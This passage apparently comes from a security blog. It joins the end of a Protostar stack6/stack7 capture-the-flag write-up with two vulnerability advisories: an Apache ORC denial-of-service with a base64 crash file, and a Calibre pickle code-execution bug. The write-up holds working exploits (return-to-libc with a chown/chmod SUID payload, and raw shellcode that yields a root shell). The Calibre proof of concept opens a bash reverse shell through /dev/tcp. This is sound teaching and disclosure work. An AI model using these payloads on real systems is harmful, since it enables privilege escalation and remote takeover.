        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

The first idea to defeat this protection is that we can use the same trick from stack 5 to indirectly jump to our shellcode. We see that -0x4c(%ebp), which is the start of buffer is loaded into $edx right before the ret instruction. However, this does not work as the binary does not contain any jmp $edx gadgets.

One useful exploitation technique on Linux systems that we can use here is return-to-libc. This technique works by calling a function that is already present in the process memory, which removes the need to inject shellcode onto the stack. While any function present in the process memory can be used, libc is usually the target as it is almost always linked and contains functions like system() that can be used to execute shell commands.

With GDB, we can locate the location of the system() function.

(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Next, we need to control the parameters of system(). The libc calling convention uses the stack to pass parameters. This is how the stack looks:

[random stack data][$eip - address of system()][return address][address of parameter]

So, how do we control the parameter that gets passed to system()? While there are multiple ways of doing this, the easiest on a machine without ASLR is using environmental variables as they are pushed onto the stack during program initialization.

We can use getenv.c (compile it with gcc getenv.c -o getenv) to locate the memory address of the environmental variable.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if (argc < 3) {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    } else {
        ptr = getenv(argv[1]); /* Get environment variable location */
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* Adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
    }
}

Now that we have a method of passing a parameter to system(), what shell command do we want to run? For many binaries, a simple /bin/sh will get us a shell. However, due to the fact that the example uses gets(), we will need to do more work if we do not want the shell to terminate immediatly.

A far simpler method is to have our exploit set the SUID bit on a binary that calls /bin/bash. First, we write our shell.c.

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv, char **envp) {
  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}

Next, we compile it.

user@protostar:~$ gcc shell.c -o shell

We set the environmental variable SHELLME to the shell command we want to execute. In this case, we will set the owner of /home/user/shell to root and give it the SUID bit.

user@protostar:~$ export SHELLME="/bin/chown root:root /home/user/shell; /bin/chmod 4755 /home/user/shell"
user@protostar:~$ ./getenv SHELLME /opt/protostar/bin/stack6
SHELLME will be at 0xbfffff16

Remember the “return address” bit of the stack from earlier? That is where our program will jump to after system() is done. While it has no bearing on successful exploitation, we can set it to the exit() function to exit cleanly.

(gdb) print exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Putting it all together, we end up with a working exploit.

user@protostar:~$ python -c "print 'A' * 80 + '\xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7' + '\x16\xff\xff\xbf'" | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
user@protostar:~$ ./shell
root@protostar:~# whoami
root

stack 7

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

This is similar to stack 6 except that the filter is even more restrictive. This time, the only location we can overwrite $eip is within the stack7 binary itself.

(gdb) info proc map
process 4061
cmdline = '/opt/protostar/bin/stack7'
cwd = '/home/user'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack7
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack7
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fe0000 0xb7fe2000     0x2000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

We take a look at the disassembly of getpath().

(gdb) disass getpath
Dump of assembler code for function getpath:
0x080484c4 <getpath+0>: push   %ebp
0x080484c5 <getpath+1>: mov    %esp,%ebp
0x080484c7 <getpath+3>: sub    $0x68,%esp
0x080484ca <getpath+6>: mov    $0x8048620,%eax
0x080484cf <getpath+11>:        mov    %eax,(%esp)
0x080484d2 <getpath+14>:        call   0x80483e4 <printf@plt>
0x080484d7 <getpath+19>:        mov    0x8049780,%eax
0x080484dc <getpath+24>:        mov    %eax,(%esp)
0x080484df <getpath+27>:        call   0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>:        lea    -0x4c(%ebp),%eax
0x080484e7 <getpath+35>:        mov    %eax,(%esp)
0x080484ea <getpath+38>:        call   0x80483a4 <gets@plt>
0x080484ef <getpath+43>:        mov    0x4(%ebp),%eax
0x080484f2 <getpath+46>:        mov    %eax,-0xc(%ebp)
0x080484f5 <getpath+49>:        mov    -0xc(%ebp),%eax
0x080484f8 <getpath+52>:        and    $0xb0000000,%eax
0x080484fd <getpath+57>:        cmp    $0xb0000000,%eax
0x08048502 <getpath+62>:        jne    0x8048524 <getpath+96>
0x08048504 <getpath+64>:        mov    $0x8048634,%eax
0x08048509 <getpath+69>:        mov    -0xc(%ebp),%edx
0x0804850c <getpath+72>:        mov    %edx,0x4(%esp)
0x08048510 <getpath+76>:        mov    %eax,(%esp)
0x08048513 <getpath+79>:        call   0x80483e4 <printf@plt>
0x08048518 <getpath+84>:        movl   $0x1,(%esp)
0x0804851f <getpath+91>:        call   0x80483c4 <_exit@plt>
0x08048524 <getpath+96>:        mov    $0x8048640,%eax
0x08048529 <getpath+101>:       lea    -0x4c(%ebp),%edx
0x0804852c <getpath+104>:       mov    %edx,0x4(%esp)
0x08048530 <getpath+108>:       mov    %eax,(%esp)
0x08048533 <getpath+111>:       call   0x80483e4 <printf@plt>
0x08048538 <getpath+116>:       lea    -0x4c(%ebp),%eax
0x0804853b <getpath+119>:       mov    %eax,(%esp)
0x0804853e <getpath+122>:       call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>:       leave
0x08048544 <getpath+128>:       ret
End of assembler dump.

Similar to stack 6, buffer starts at -0x4c(%ebp) and we need to write 84 bytes to overwrite $eip. We can confirm this in GDB.

(gdb) run
Starting program: /opt/protostar/bin/stack7
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

We see that -0x4c(%ebp) is loaded into $eax right before the ret instruction. This time, the binary does contain the gadget that we need.

$ /usr/share/framework2/msfelfscan -f stack7 -j eax
0x080484bf   call eax
0x080485eb   call eax

We use the same payload from stack 5, with the modified call eax instruction which gives us successful exploitation.

user@protostar:~$ python -c "print '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + 'A' * 22 + '\xbf\x84\x04\x08'" | /opt/protostar/bin/stack7
# whoami
root

CVE-2018-8015: Denial of Service in Apache ORC

A malformed ORC file can trigger an endlessly recursive function call in the C++ parser which results in a segmentation fault.

The impact of this bug is most likely denial-of-service against software that uses the C++ ORC file parser but may lead to possible code execution.

In addition, the Java parser is similarly affected but a stack overflow in Java simply results in an exception being raised.

Affected Versions

According to the Apache ORC team, Apache ORC versions 1.0.0 to 1.4.3 are affected.

Description

The vulnerable lines of code is in c++/src/TypeImpl.cc and is triggered when parsing the schme contained in the Footer section of the ORC file.

An ORC database schema is defined as a type tree. The root of any ORC database is a Struct which can contain other types, including another Struct. In the Footer section, the type tree is encoded as a linked-list like structure where compound types like a Struct contain an id pointing to the next type in the tree.

390    case proto::Type_Kind_STRUCT: {
391      TypeImpl* result = new TypeImpl(STRUCT);
392      uint64_t size = static_cast<uint64_t>(type.subtypes_size());
393      std::vector<Type*> typeList(size);
394      std::vector<std::string> fieldList(size);
395      for(int i=0; i < type.subtypes_size(); ++i) {
396        result->addStructField(type.fieldnames(i),
397                               convertType(footer.types(static_cast<int>
398                                                        (type.subtypes(i))),
399                                           footer));
400      }
401      return std::unique_ptr<Type>(result);
402    }

The above code parses the type tree encoded in the Footer section. When it encounters a Struct (or Union) type, it recursively parses all subtypes. However, it does not account for the case where a subtype’s next id points to the parent type. This results in an endless recursion that eventually blows the stack.

Proof of Concept

The file poc.orc is included here as a base64 encoded file.

CAMQ9AMaACILCAwSAQEaBEFBQUEiCwgMEgEAGgRBQUFBKgA6AAglEAAiAgAMMAaC
9AMDT1JDEQgDEPQDGgAiCwgMEgEBGgRBQUFBIgsIDBIBABoEQUFBQSoAOgAIJRAA
IgIADDAGgvQDA09SQxE=

Attempting to parse the file with orc-contents results in a segmentation fault.

$ ./orc-contents poc.orc
Segmentation fault

Credits

This issue was discovered by Terry Chia (Ayrx).

Timeline

  • 27 Feb 2018 - Vulnerability report to private@orc.apache.org.
  • 18 May 2018 - Apache ORC 1.4.4 and 1.5.0 released that fixes the vulnerability. CVE-2018-8015 assigned.

CVE-2018-7889: Code execution when importing bookmarks into an Ebook

A malicious pickle file can be used to trigger remote code execution in Calibre E-book Manager.

Affected Versions

This vulnerability affects all operating systems Calibre supports and is present in the latest version (3.18) of the application.

Description

Calibre E-book Manager uses the Python pickle module for serialization in multiple places. This is a dangerous pattern because the deserialization of malicious pickle data can result in the execution of arbitrary Python code.

There is one specific functionality in Calibre where the use of pickle can be leveraged by an attacker to obtain code execution by social engineering a target.

Calibre allows users to export and import bookmark data from a specific ebook. src/calibre/gui2/viewer/bookmarkmanager.py contains code that imports a previously exported file containing bookmark information. This file data is directly passed into cPickle.load.

206 files = choose_files(self, 'export-viewer-bookmarks', _('Import bookmarks'),
207     filters=[(_('Saved bookmarks'), ['pickle'])], all_files=False, select_only_single_file=True)
208        if not files:
209            return
210        filename = files[0]
211
212        imported = None
213        with open(filename, 'rb') as fileobj:
214            imported = cPickle.load(fileobj)

Proof of Concept

For the proof of concept, we will use a malicious pickle generated by the below poc.py.

import cPickle
import os
import base64
import pickletools

class Exploit(object):
    def __reduce__(self):
        return (os.system, (("bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"),))

with open("exploit.pickle", "wb") as f:
    cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)

The exploit will make a reverse shell to a listener on 127.0.0.1:8000, so we set that up using ncat.

$ ncat -nlvp 8000

Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 125E F683 5DA6 153A 6E26 E957 0C92 4706 2596 347C
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

We open an ebook and navigate to the “Bookmarks” icon on the left of the screen and click the “Show/hide bookmarks” menu item. We then click the “Import” button on the bookmarks pane and select the generated exploit.pickle file. This should trigger a reverse shell on our listener.

Credits

This issue was discovered by Ayrx.

Timeline

  • 02 Mar 2018 - Vulnerability discovered.
  • 07 Mar 2018 - Vulnerability reported to the vendor.
  • 07 Mar 2018 - Vulnerability fixed by vendor in commit aeb5b036a0bf.
  • 09 Mar 2018 - CVE-2018-7889 assigned.